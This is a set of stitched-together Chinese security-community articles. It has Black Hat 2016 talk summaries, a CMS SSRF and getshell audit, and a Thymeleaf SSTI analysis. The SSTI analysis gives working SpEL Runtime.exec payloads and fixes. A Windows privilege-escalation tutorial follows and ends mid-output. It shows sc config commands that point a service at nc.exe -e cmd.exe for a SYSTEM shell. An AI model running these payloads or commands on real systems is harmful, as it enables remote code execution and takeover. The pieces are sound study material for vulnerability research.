国家级别的针对政治活跃人士，律师，记者的恶意软件攻击变得越来越普遍。这些攻击往往是简单的使用现有的恶意软件来进行钓鱼攻击，相对于APT级别的大量预算，复杂技术的攻击显得简单。然而政治活跃人士，律师，记者对网络攻击的意识和准备往往是不足的。演讲者将对一次针对电子前沿基金会的一次攻击进行剖析，分析最常见的恶意软件，比如JRat/Bandook,通过提高相关人士的安全意识，而不仅仅依靠安全专家来阻止入侵。
**议题： WEB APPLICATION FIREWALLS: ANALYSIS OF DETECTION
LOGIC（分析和检测针对WAF中的正则逻辑问题）**
演讲者的照片和介绍
[](https://www.blackhat.com/us-16/speakers/Vladimir-Ivanov.html)
演讲内容：
这个演讲会对现在流行的WAF，比如最流行的6款开源WAF (OWASP CRS 2,3 – ModSecurity, Comodo WAF, PHPIDS,
QuickDefense,
Libinjection)中的正则表达式进行逻辑测试，发现问题。并且会发行一款叫做静态应用安全测试（SAST）的正则表达式分析工具，用于发现由于正则表达编写不规范，产生的安全漏洞。在演示中，作者会对发现漏洞的思路和经验做分享。比如语法绕过/逻辑绕过/异常主逻辑绕过。也不仅仅针对WAF测试，通过相应的fuzz测试，对后端的数据库和浏览器的攻击面也会进行简述。
**
**
**议题： WEAPONIZING DATA SCIENCE FOR SOCIAL ENGINEERING: AUTOMATED E2E SPEAR
PHISHING ON TWITTER（基于Twitter的自动化钓鱼工具）**
演讲者的照片和介绍
[](https://www.blackhat.com/us-16/speakers/John-Seymour.html)
演讲内容：
诚然，机器学习在信息安全领域常常被用于做防护，比如入侵检测系统，恶意软件分类，僵尸网络流量识别等。依赖于大数据和社交网络，尤其是twitter，通过识别额外的个人数据，友好的BOT
API接口，收集关键词和短链接来对抗恶意内容和分布式钓鱼。
演讲者今天采取的完全是逆向思维，通过神经网络学习针对特定用户的钓鱼攻击，通过钓鱼数据培训机器模型，识别出目标用户最爱点击的连接，根据twitter时间线来判断目标的跟随者，通过IP跟踪目标的对某些twiiter的点击率。结合这些，作者推出了世界上第一个针对twitter用户的自动化端对端的钓鱼生成框架并提供下载学习。
**
**
**议题： VOIP WARS: THE PHREAKERS AWAKEN (VOIP之战：飞客的觉醒)**
演讲者的照片和介绍
[](https://www.blackhat.com/us-16/speakers/Fatih-Ozavci.html)
演讲内容：
议题演讲者同时也是 Viproy 和 VoIP
Wars两款经典针对VOIP网络进行安全测试工具的作者。随着越来越多的企业开始使用VoIP来进行企业间的通信并作为日常的通信服务，基于云的UC解决方案也越来越流行，但是企业往往对UC和VoIP攻击缺少认识，往往会被僵尸网络，或者收费欺诈利用。演讲者首先会讲解UC和IMS的基本概念。然后讲解RedTeam做渗透测试时的一些方法，并对主流的VoIP提供商的产品发现的漏洞进行现场演示。
**议题： VIRAL VIDEO – EXPLOITING SSRF IN VIDEO CONVERTERS (在视频转换中的SSRF利用)**
演讲者的照片和介绍
[](https://www.blackhat.com/us-16/speakers/Nikolay-Ermishkin.html)
演讲内容：
许多web应用允许用户上传视频，比如视频/图片主机，云存储，社交网络，即时通信软件等等。典型的，开发者想转换用户上传的文件到所有客户端都支持的格式。由于上传的视频格式会非常大，所以开发者会使用第三方的库/工具来进行编码转换，最常见的就是ffmpeg了,ffmpeg支持多种的格式，包括播放列表（文件包含到其他文件的连接集和），其在处理hls
(m3u8) 播放列表格式时会产生SSRF漏洞，因为支持不同的格式协议（http, file, tcp, upd, gopher
…），所以有可能产生严重的漏洞甚至接管服务器。
演讲者将演示如何在不通网络的情况下，利用SSRF读取文件。并演示在视频转换的时候，如何完全访问云服务（AWS）。另外演讲者在Facebook,
Telegram, Microsoft Azure, flickr这些厂商中均测试成功。
**
**
**议题： TIMING ATTACKS HAVE NEVER BEEN SO PRACTICAL: ADVANCED CROSS-SITE SEARCH
ATTACKS (定时测信道攻击：高级跨站搜索攻击）**
演讲者的照片和介绍
[](https://www.blackhat.com/us-16/speakers/Nethanel-Gelernter.html)
演讲内容：
CROSS-SITE SEARCH（跨站点搜索）攻击是一种实用的定时侧信道攻击，可以从服务器端窃取敏感信息。演讲者会演示CROSS-SITE
SEARCH（跨站点搜索）攻击能够用于提取像GMAIL/Yahoo邮件内容的敏感信息以及Bing用户的搜索历史。
议题：
THE YEAR IN FLASH
演讲者的照片和介绍
[](https://www.blackhat.com/us-16/speakers/Natalie-Silvanovich.html)
演讲内容：
Adobe
Flash仍然是在野的针对目标攻击的最流行的漏洞利用载体，虽然缓解措施和被曝光的漏洞日益增多，后续的漏洞挖掘和利用也会越来越难，但是演讲者会在最后讲解几处仍可挖掘的漏洞利用点和绕过缓解措施的方法。首先演讲者会逐一分析过去一年中被曝的Flash漏洞，然后对常见的漏洞类型进行说明，最后讨论以后的针对Flash攻击的发展趋势。 | 社区文章 |
## 前言：
事情是这样的，由于我 CNVD 还差一积分就可以兑换京东E卡了，所以找了这个 CMS 看看能不能挖到漏洞，运气还是不错的挖到了两个，分别是 SSRF
与文件覆盖 GETSHELL，这才有这篇文章。该 CMS 版本是 4.2。以下漏洞均被 CNVD 收录。
## 环境说明：
PHP版本用 7.0.9 就好了。
## SSRF：
根据功能点定向审计，在后台的工具栏有一个采集功能，根据经验这种功能一般存在 SSRF。
使用 python3 在本地开启简易的 http 服务。
点击下一步，果不其然存在 SSRF。
进行漏洞分析。
根据 burpsuite 抓到的请求包很容易定位到代码位置。
在文件 upload/plugins/sys/admin/Collect.php#Collect->add，POST 的参数cjurl 未做安全处理被传入到
$this->caiji->str 方法。
那么我们跟进到 $this->caiji->str 方法，但是 phpstorm 找不到定义该方法的位置。
解决办法，我们可以连续按两下 Shift 键直接寻找。
跟进到 str 方法后，发现 url 参数被传入 htmlall 方法，继续跟进该方法。
可以看到 htmlall 方法使用了 curl 请求 url。
基本上有调用 $this->caiji->str 方法的地方都存在 SSRF 漏洞。
## 文件覆盖导致 GETSHELL：
通过敏感函数回溯参数过程的方式找到该漏洞。
在 upload/cscms/app/helpers/common_helper.php#write_file 使用了文件写入的敏感函数，跟 SSRF 的
htmlall 是同一个文件。
使用 Ctrl+Shift+F 查找哪些位置调用了 write_file，在
upload/plugins/sys/admin/Plugins.php#Plugins->_route_file 调用了 write_file函数，并且
$note[$key]['name'] 和 $note[$key]['url'] 的值是以字符串方式拼接到文件内容的，该内容是注释，我们可以使用换行绕过。
查找哪些位置调用了 _route_file，跟踪 $note 的值是否可控，调用该函数的位置有很多，最终找到一处可利用。在
upload/plugins/sys/admin/Plugins.php#Plugins->setting_save 调用了
_route_file，由于该函数内容有点多，所以我将它拆分成两个界面，一些不重要的内容进行闭合。画红线的位置是调用到 _route_file
必须设置的，可以看到在标蓝色3的位置获取到了 $note 的值，分析到这里可以开始复现了。
使用 burpsuite 抓取请求包。
修改请求包内容写入构造好的代码，可以看到我使用了 %0a 换行去绕过注释。
在 upload/cscms/config/dance/rewrite.php 可以看到成功写入。
寻找引用 rewrite.php 的位置，懒得去看代码了，通过点击各个页面，经过不懈努力终于在个人中心的音乐页面找到，所以你需要注册一个会员用户。
重放 burpsuite 抓到的请求包，成功输出内容。
到这里其实事情还没有结束，当我尝试写入恶意内容发现被转义了。
试了 eval、shell_exec 等均被转义，但是 assert 没有被转义，考虑到 assert
在PHP7版本之后的问题，我还是需要找一个更好的办法。懒得去看转义的代码了，我根据PHP的动态特性使用以下方法成功 RCE。
## 总结：
此次代码审计使用了通用代码审计思路的两种，第一种：根据功能点定向审计、第二种：敏感函数回溯参数过程，没有用到的是通读全文代码。活用 phpstorm
可以让代码审计的效率大大增加。 | 社区文章 |
# Java安全之Thymeleaf SSTI分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## About Thymeleaf
Thymeleaf是SpringBoot中的一个模版引擎，个人认为有点类似于Python中的Jinja2，负责渲染前端页面。
之前写JavaWeb和SSM的时候，前端页面可能会用JSP写，但是因为之前项目都是war包部署，而SpringBoot都是jar包且内嵌tomcat，所以是不支持解析jsp文件的。但是如果是编写纯静态的html就很不方便，那么这时候就需要一个模版引擎类似于Jinja2可以通过表达式帮我们把动态的变量渲染到前端页面，我们只需要写一个template即可。这也就是SpringBoot为什么推荐要使用Thymeleaf处理前端页面了。
## 基础知识
### 片段表达式
Thymeleaf中的表达式有好几种
* 变量表达式： `${...}`
* 选择变量表达式： `*{...}`
* 消息表达： `#{...}`
* 链接 URL 表达式： `@{...}`
* 片段表达式： `~{...}`
而这次遇到的是片段表达式(FragmentExpression)： `~{...}`，片段表达式可以用于引用公共的目标片段比如footer或者header
比如在`/WEB-INF/templates/footer.html`定义一个片段，名为copy。`<div th:fragment="copy">`
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<body>
<div th:fragment="copy">
© 2011 The Good Thymes Virtual Grocery
</div>
</body>
</html>
在另一template中引用该片段`<div th:insert="~{footer :: copy}"></div>`
<body>
...
<div th:insert="~{footer :: copy}"></div>
</body>
片段表达式语法：
1. **~{templatename::selector}** ，会在`/WEB-INF/templates/`目录下寻找名为`templatename`的模版中定义的`fragment`，如上面的`~{footer :: copy}`
2. **~{templatename}** ，引用整个`templatename`模版文件作为`fragment`
3. **~{::selector} 或 ~{this::selector}** ，引用来自同一模版文件名为`selector`的`fragmnt`
其中`selector`可以是通过`th:fragment`定义的片段，也可以是类选择器、ID选择器等。
当`~{}`片段表达式中出现`::`，则`::`后需要有值，也就是`selector`。
### 预处理
语法：`__${expression}__`
官方文档对其的解释：
> 除了所有这些用于表达式处理的功能外，Thymeleaf 还具有 _预处理_ 表达式的功能。
>
> **预处理是在正常表达式之前完成的表达式的执行** ，允许修改最终将执行的表达式。
>
> 预处理的表达式与普通表达式完全一样，但被双下划线符号（如`__${expression}__`）包围。
个人感觉这是出现SSTI最关键的一个地方，预处理也可以解析执行表达式，也就是说找到一个可以控制预处理表达式的地方，让其解析执行我们的payload即可达到任意代码执行
## 调试分析
其实大部分都是MVC对request的处理流程，在MVC中是DispatcherServlet拦截请求并分发到Handler处理，那下断点直接定位到DispatcherServlet#doDispatch方法（所有的request和response都会经过该方法）。
首先获取到了Handler，之后进入doDispatch方法的实现，这里重点注意下下面3个方法
> 1、ha.handle() ，获取ModelAndView也就是Controller中的return值
>
>
> 2、applyDefaultViewName()，对当前ModelAndView做判断，如果为null则进入defalutViewName部分处理，将URI
> path作为mav的值
>
> 3、processDispatchResult()，处理视图并解析执行表达式以及抛出异常回显部分处理
### ha.handle
首先跟进`mv = ha.handle(processedRequest, response, mappedHandler.getHandler());`
调用了/org/springframework/web/servlet/mvc/method/AbstractHandlerMethodAdapter.class#handleInternal，继续跟进
跳到invokeHandlerMethod方法。这里就是使用Handler处理request并获取ModelAndView
在/org/springframework/web/servlet/mvc/method/annotation/RequestMappingHandlerAdapter直接跟进到invokeAndHandle方法
这里通过invokeForRequest函数，根据用户输入的url，调用相关的controller，并将其返回值`returnValue`，作为待查找的模板文件名，通过Thymeleaf模板引擎去查找，并返回给用户。
重点是`returnValue`值是否为`null`，根据Controller写法不同会导致`returnValue`的值存在`null`和`非null`的情况。
上面Controller中return的字符串并根据前缀和后缀拼接起来，在templates目录下寻找模版文件
例如下面的Thymeleaf默认配置类文件+Controller，Thymeleaf就会去找`/templates/index.html`
默认配置类文件org/springframework/boot/autoconfigure/thymeleaf/ThymeleafProperties.java
@ConfigurationProperties(prefix = "spring.thymeleaf")
public class ThymeleafProperties {
private static final Charset DEFAULT_ENCODING = StandardCharsets.UTF_8;
public static final String DEFAULT_PREFIX = "classpath:/templates/";
public static final String DEFAULT_SUFFIX = ".html";
/**
* Whether to check that the template exists before rendering it.
*/
private boolean checkTemplate = true;
/**
* Whether to check that the templates location exists.
*/
private boolean checkTemplateLocation = true;
/**
* Prefix that gets prepended to view names when building a URL.
*/
private String prefix = DEFAULT_PREFIX;
/**
* Suffix that gets appended to view names when building a URL.
*/
private String suffix = DEFAULT_SUFFIX;
/**
* Template mode to be applied to templates. See also Thymeleaf's TemplateMode enum.
*/
private String mode = "HTML";
/**
* Template files encoding.
*/
private Charset encoding = DEFAULT_ENCODING;
Controller
@Controller
public class IndexController {
@RequestMapping("/index")
public String test1(Model model){
model.addAttribute("msg","Hello,Thymeleaf");
return "index";
}
}
上面这种是returnValue不为null的情况。那如果Controller如下写的话，returnValue的值就会为null
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}
### applyDefaultViewName
如果ModelAndView值不为null则什么也不做，否则如果`defaultViewName`存在值则会给ModelAndView赋值为defaultViewName，也就是将URI
path作为视图名称（具体逻辑会在后面讲）
### processDispatchResult
获取到`ModelAndView`值后会进入到`processDispatchResult`方法，第1个if会被跳过，跟进第2个if中的render方法
在`render`方法中，首先会获取mv对象的`viewName`，然后调用`resolveViewName`方法，`resolveViewName`方法最终会获取最匹配的视图解析器。
跟一下`resolveViewName`方法，这里涉及到两个方法：1、首先通过`getCandidateViews`筛选出`resolveViewName`方法返回值不为null的视图解析器添加到`candidateViews`中;
2、之后通过`getBestView`拿到最适配的解析器，getBestView中的逻辑是优先返回在`candidateViews`存在重定向动作的`view`，如果都不存在则根据请求头中的`Accept`字段的值与`candidateViews`的相关顺序，并判断是否兼容来返回最适配的`View`
getCandidateViews：
getBestView：
最终返回的是`ThymeleafView`之后`ThymeleafView`调用了`render`方法
紧接着调用`renderFragment`
这里是漏洞触发的关键点之一，该方法在后面首先判断`viewTemplateName`是否包含`::`,若包含则获取解析器,调用`parseExpression`方法将`viewTemplateName`(也就是Controller中最后return的值)构造成片段表达式(`~{}`)并解析执行，跟进`parseExpression`方法。
在org/thymeleaf/standard/expression/StandardExpressionParser中调用parseExpression
最终在org/thymeleaf/standard/expression/StandardExpressionParser对我们表达式进行解析，首先在`preprocess`方法对表达式进行预处理（这里只要表达式正确就已经执行了我们payload中的命令）并把结果存入`preprocessedInput`,可以看到此时预处理就已经执行了命令，之后再次调用`parse`对预处理的结果`preprocessedInput`进行第二次解析，而第二次解析时，需要语法正确也就是在Thymeleaf中，`~{}`中`::`需要有值才可以获得回显，否则没有回显。
在org/thymeleaf/standard/expression/StandardExpressionPreprocessor#preprocess方法中，首先通过正则，将`__xxxx__`中间xxxx部分提取出来，调用execute执行
跟进execute最终调用org/thymeleaf/standard/expression/VariableExpression#executeVariableExpression使用SpEL执行表达式，触发任意代码执行。
## 漏洞复现
首先常见的一个payload就是`__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x`，通过`__${}__::.x`构造表达式会由Thymeleaf去执行
### 0x01 templatename
Payload:`lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x`，这里因为最后return的值为`user/__${new
java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x/welcome`,无论我们payload如何构造最后都会拼接`/welcome`所以根据前面分析即使不加`.x`依然可以触发命令执行
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}
### 0x02 selector
Contorller ：可控点变为了selector位置
@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
return "welcome :: " + section; //fragment is tainted
}
payload
`/fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22touch%20executed%22).getInputStream()).next()%7d__::.x`
其实这里也可以不需要`.x`和`::`也可触发命令执行
poc:
`/fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("open%20-a%20Calculator").getInputStream()).next()%7d__`
关于回显问题：在0x01与0x02payload注入点不同会导致有无回显，也可以说是controller代码给予我们的可控参数不同，
0x01中可控的是templatename，而0x02中可控的是selector，而这两个地方的注入在最后抛出异常的时候找不到templatename是存在结果回显的而找不到selector不存在结果回显。
### 0x03 URI path
Controller
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}
payload
因为mav返回值为空，所以viewTemplateName会从uri中获取，直接在`{document}`位置传入payload即可
`http://localhost:8090/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__::.x`
### 0x03 构造回显
这里其实和0x01类似，templatename部分可控，没回显的原因在于defaultView中对URI path的处理，我们可以在最后加两个`.`
poc
`/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::..`需要注意的是`::`必须放在后面，放在前面虽然可以执行命令，但是没有回显。
### About .x
在0x03中payload最后是必须要`.x`，看一下为什么，之前在`applyDefaultViewName`部分有提到`defaultViewName`这个值，因为mav返回值为空，所以viewTemplateName会从uri中获取，我们看下是如何处理`defaultViewName`的，调试之后发现在`getViewName`方法中调用`transformPath`对URL中的`path`进行了处理
重点在于第3个if中`stripFilenameExtension`方法
/org/springframework/util/StringUtils#stripFilenameExtension该方法会对后缀做一个清除
如果我们传入的payload没有`.x`的话，例如`http://localhost:8090/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__::`最后会被处理成`/doc/__${new
java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("open -a
calculator").getInputStream())`从而没有了`::`无法进入预处理导致无法执行任意代码。
所以这里即使是在最后只加个`.`也是可以的，不一定必须是`.x`
## 其他姿势
这里列举几个比较新奇的思路，反射之类的就不列举了，改一下表达式中的代码即可。
### 0x01 `::` 位置
除了上面利用`.`替换`.x`以外（ModelAndView为null，从URI中获取viewname）在0x01中`::`的位置也不是固定的，这个看之前的代码逻辑即可知晓，比如可以替换成下面的poc,将`::`放在最前面：
`::__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__`
### 0x02 POST方式
这个是在turn1tup师傅的文章中get的
POST /path HTTP/1.1
Host: localhost:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 135
lang=::__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__
### 0x03 省略`__`
当Controller如下配置时，可以省略`__`包裹
@RequestMapping("/path")
public String path2(@RequestParam String lang) {
return lang; //template path is tainted
}
poc，也不局限于用`${}`,用`*{}`也是可以的
GET /path2?lang=$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d::.x HTTP/1.1
Host: localhost:8090
关于这种方式可以参考：<https://xz.aliyun.com/t/9826#toc-4>
## 修复方案
0x01 配置 `[@ResponseBody](https://github.com/ResponseBody "@ResponseBody")` 或者
`[@RestController](https://github.com/RestController "@RestController")`
这样 spring 框架就不会将其解析为视图名，而是直接返回, 不再调用模板解析。
@GetMapping("/safe/fragment")
@ResponseBody
public String safeFragment(@RequestParam String section) {
return "welcome :: " + section; //FP, as @ResponseBody annotation tells Spring to process the return values as body, instead of view name
}
0x02 在返回值前面加上 “redirect:”
这样不再由 Spring ThymeleafView来进行解析，而是由 RedirectView 来进行解析。
@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {
return "redirect:" + url; //FP as redirects are not resolved as expressions
}
0x03 在方法参数中加上 HttpServletResponse 参数
由于controller的参数被设置为HttpServletResponse，Spring认为它已经处理了HTTP
Response，因此不会发生视图名称解析。
@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
log.info("Retrieving " + document); //FP
}
## 结语
关于这个漏洞的话调试下来感觉很巧妙，有很多值得深入挖掘的点，但是个人感觉Thymeleaf平常更多的使用姿势还是在于将变量渲染到前端页面而不是类似于输入模版名称去动态返回模版文件，可能实战遇到的并不会很多吧。再有就是在审计的时候有没有一些可以快速定位到该缺陷的方法，待研究。如果真的遇到了，也没必要过于纠结回显，可以直接打内存马。
## Reference
<https://turn1tup.github.io/2021/08/10/spring-boot-thymeleaf-ssti/>
<https://xz.aliyun.com/t/9826#toc-4>
<http://x2y.pw/2020/11/15/Thymeleaf-%E6%A8%A1%E6%9D%BF%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/>
<https://github.com/veracode-research/spring-view-manipulation/>
<https://www.cnblogs.com/fishpro/p/spring-boot-study-restcontroller.html>
<https://paper.seebug.org/1332/>
<https://www.freebuf.com/articles/network/250026.html> | 社区文章 |
# 【技术分享】Windows下的渗透测试之提权的基本套路（下）
|
##### 译文声明
本文是翻译文章，文章来源：fuzzysecurity
原文地址：<http://www.fuzzysecurity.com/tutorials/16.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：[ **慕容禽兽**](http://bobao.360.cn/member/contribute?uid=2667655202)**
**稿费：200RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆 ** **[
**网页版**](http://bobao.360.cn/contribute/index)**** 在线投稿**
**传送门**
[**【技术分享】Windows下的渗透测试之提权的基本套路（上）**](http://bobao.360.cn/learning/detail/3158.html)
****
**从t7到t10 – 撸起袖子大干一场**
到现在这个阶段，我希望我们已经有了一个SYSTEM的shell，但是如果我们还没有，仍有一些其它的途径去获得SYSTEM权限。在这个最后的部分，我们将目光投向Windows的服务和文件及文件夹权限。我们的目标是使用弱权限（权限的错误配置）来提升权限。
我们将检查大量的访问权限，所以我们可以在微软的Sysinternals工具包中拷贝accesschk.exe来使用。“Microsoft
Sysinternals”包含了大量优秀的工具，非常遗憾，微软没有将它们放在Windows自带工具中。你可以从这里下载[[这里]](http://technet.microsoft.com/en-us/sysinternals/bb842062.aspx)。
我们将从Windows服务下手，因为往往一些立竿见影的东西会在这里被发现。通常，现在的操作系统不会存在有漏洞的服务，所以，有漏洞的意思是我们可以再次配置某个服务的参数。Windwos的服务就像是软件的快捷方式，现在举个栗子：
我们可以使用sc去查询，配置，和管理Windows服务
C:Windowssystem32> sc qc Spooler
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: Spooler
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:WindowsSystem32spoolsv.exe
LOAD_ORDER_GROUP : SpoolerGroup
TAG : 0
DISPLAY_NAME : Print Spooler
DEPENDENCIES : RPCSS
: http
SERVICE_START_NAME : LocalSystem
我们可以使用accesschk来检查每个服务需要的权限：
我们可以看到每个用户拥有的权限。你可以使用“accesschk.exe -ucqv *”来列出所有的服务。
C:> accesschk.exe -ucqv Spooler
Spooler
R NT AUTHORITYAuthenticated Users
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
R BUILTINPower Users
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_START
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
RW BUILTINAdministrators
SERVICE_ALL_ACCESS
RW NT AUTHORITYSYSTEM
SERVICE_ALL_ACCESS
Accesschk可以自动的检查当我们使用一个特定的用户时，我们是否对Windows的某个服务有写的权限。作为一个低权限用户，我们首先就想要看一下“Authenticated
Users”组对这些服务的权限。确保你没有搞错，你的用户属于哪个用户组，举个栗子，“Power Users”被认为是一个低权限用户组（它使用的不多）
让我们将Windows 8 和 Windows XP SP0的输出进行对比：
Windows 8：
C:Usersb33ftoolsSysinternals> accesschk.exe -uwcqv "Authenticated Users" *
No matching objects found.
在默认的Windwos XP SP0，我们可以看到，有一个超级大的系统缺陷：
C:> accesschk.exe -uwcqv "Authenticated Users" *
RW SSDPSRV
SERVICE_ALL_ACCESS
RW upnphost
SERVICE_ALL_ACCESS
C:> accesschk.exe -ucqv SSDPSRV
SSDPSRV
RW NT AUTHORITYSYSTEM
SERVICE_ALL_ACCESS
RW BUILTINAdministrators
SERVICE_ALL_ACCESS
RW NT AUTHORITYAuthenticated Users
SERVICE_ALL_ACCESS
RW BUILTINPower Users
SERVICE_ALL_ACCESS
RW NT AUTHORITYLOCAL SERVICE
SERVICE_ALL_ACCESS
C:> accesschk.exe -ucqv upnphost
upnphost
RW NT AUTHORITYSYSTEM
SERVICE_ALL_ACCESS
RW BUILTINAdministrators
SERVICE_ALL_ACCESS
RW NT AUTHORITYAuthenticated Users
SERVICE_ALL_ACCESS
RW BUILTINPower Users
SERVICE_ALL_ACCESS
RW NT AUTHORITYLOCAL SERVICE
SERVICE_ALL_ACCESS
这个问题随后在XP SP2就被修复了。然而在SP0和SP1
，它可以被用来作为通用的本地权限提升漏洞，通过对服务的重新配置，我们可以让它使用SYSTEM权限运行任何我们选择的可执行文件。
让我们看下在实践中是怎么做的，在这种情况下，这个服务将执行netcat并且使用SYSTEM权限反弹一个shell。
C:> sc qc upnphost
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: upnphost
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:WINDOWSSystem32svchost.exe -k LocalService
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Universal Plug and Play Device Host
DEPENDENCIES : SSDPSRV
SERVICE_START_NAME : NT AUTHORITYLocalService
C:> sc config upnphost binpath= "C:nc.exe -nv 127.0.0.1 9988 -e C:WINDOWSSystem32cmd.exe"
[SC] ChangeServiceConfig SUCCESS
C:> sc config upnphost obj= ".LocalSystem" password= ""
[SC] ChangeServiceConfig SUCCESS
C:> sc qc upnphost
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: upnphost
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:nc.exe -nv 127.0.0.1 9988 -e C:WINDOWSSystem32cmd.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Universal Plug and Play Device Host
DEPENDENCIES : SSDPSRV
SERVICE_START_NAME : LocalSystem
C:> net start upnphost
我们不是总是对一个服务有完全的访问权限，尽管它被错误的配置了。下面的图是从Brett
Moore's那里扒来的，任何一个下图的访问权限都将给我们一个SYSTEM权限的shell。
记住我们目前的用户属于哪个用户组是很重要的，就像前面提到的“Power Users“,其实就是一个低权限的用户组。“Power
Users”有它自己相关的一系列漏洞，Mark Russinovich曾经写过一篇关于“Power Users“的很有意思的文章。
[[The Power in Power Users (Mark Russinovich) –
here]](http://blogs.technet.com/b/markrussinovich/archive/2006/05/01/the-power-in-power-users.aspx)
最后，我们将测试文件和文件夹的权限，如果我们不能直接攻击操作系统进行提权，那么我们可以让操作系统做一些事来帮助我们提权，这个涵盖的方面太多了，所以我在这里演示两种权限提升漏洞和利用它们的方式。一旦你掌握了核心方法，就将可以在其它的情况中应用这些方法。
对于我们的第一个例子，我将复现Parvez的做法，他曾写过《Elevating privileges by exploiting weak folder
permissions》，[[Elevating privileges by exploiting weak folder
permissions]](http://www.greyhathacker.net/?p=738)
这个例子是一个特殊的DLL劫持实例，应用程序通常不能通过他们本身来实现一些功能，它们有很多需要hook的资源（大多数是DLL文件但是也有可能是一些专有文件）。如果一个程序或者服务从一个我们有写入权限的目录加载某个文件，那我们就可以利用这个特性来获得一个和这个程序运行权限相同权限的shell。
通常，一个Windows应用将使用预定义的搜索路径去找上文所说的那个需要被加载的DLL，它将按照特定的顺序来检查这些路径。DLL劫持通常通过在这些路径的其中一个（同时要确保这个DLL文件在合法的DLL找到之前被找到）放置一个恶意的DLL文件来进行攻击。这种攻击方式可以通过让被攻击的应用程序对于它要使用的DLL文件，制定一个绝对的路径去放置它们来减轻危害。
下面，你可以看到在32-bit操作系统上的DLL文件的搜索顺序：
1 – 该应用程序所在的目录
2 – 32-bit System directory (C:WindowsSystem32)
3 – 16-bit System directory (C:WindowsSystem)
4 – Windows directory (C:Windows)
5 – The current working directory (CWD)
6 – Directories in the PATH environment variable (system then user)
有时候，应用程序尝试加载并不存在于当前系统的DLL文件。导致这种情况的理由可能有很多，比如某个DLL文件仅仅被某些没有被安装的插件所需求。在这种情况下，Parvez发现了某些Windows服务尝试去加载不会被默认安装的DLL文件。
既然上文所说的DLL文件不存在，那我们就可以遍历所有搜索路径（例如上文的1-6）来放置我们的恶意DLL文件，但作为一个低权限用户，将一个恶意的DLL文件放在1-4路径中的希望不大。因为我们正在攻击Windwos的服务，而不是某个应用程序，因此5是不可能的。虽然看似这种攻击方式有点难度，但是一旦我们找到符合要求的路径，就屌了。
让我们看下这种攻击方式的实际应用，作为例子，我们将使用尝试去加载wlbsctrl.dll文件的的IKEEXT（IKE and AuthIP IPsec
Keying Modules）服务。
测试环境是：Win 7 ，低权限用户
C:Usersuser1Desktop> echo %username%
user1
通过下面的结果，可以判断出我们要成功了，因为在C盘下，如果有一个路径不是Windows默认的路径，那么我们就很可能会对它有写入的权限。
C:Usersuser1Desktop> echo %path%
C:Windowssystem32;C:Windows;C:WindowsSystem32Wbem;C:WindowsSystem32WindowsPowerShellv1.0;
C:Program FilesOpenVPNbin;C:Python27
我们可以使用accesschk或者cacls来检查访问权限。
C:Usersuser1Desktop> accesschk.exe -dqv "C:Python27"
C:Python27
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTINAdministrators
FILE_ALL_ACCESS
RW NT AUTHORITYSYSTEM
FILE_ALL_ACCESS
R BUILTINUsers
FILE_LIST_DIRECTORY
FILE_READ_ATTRIBUTES
FILE_READ_EA
FILE_TRAVERSE
SYNCHRONIZE
READ_CONTROL
RW NT AUTHORITYAuthenticated Users
FILE_ADD_FILE
FILE_ADD_SUBDIRECTORY
FILE_LIST_DIRECTORY
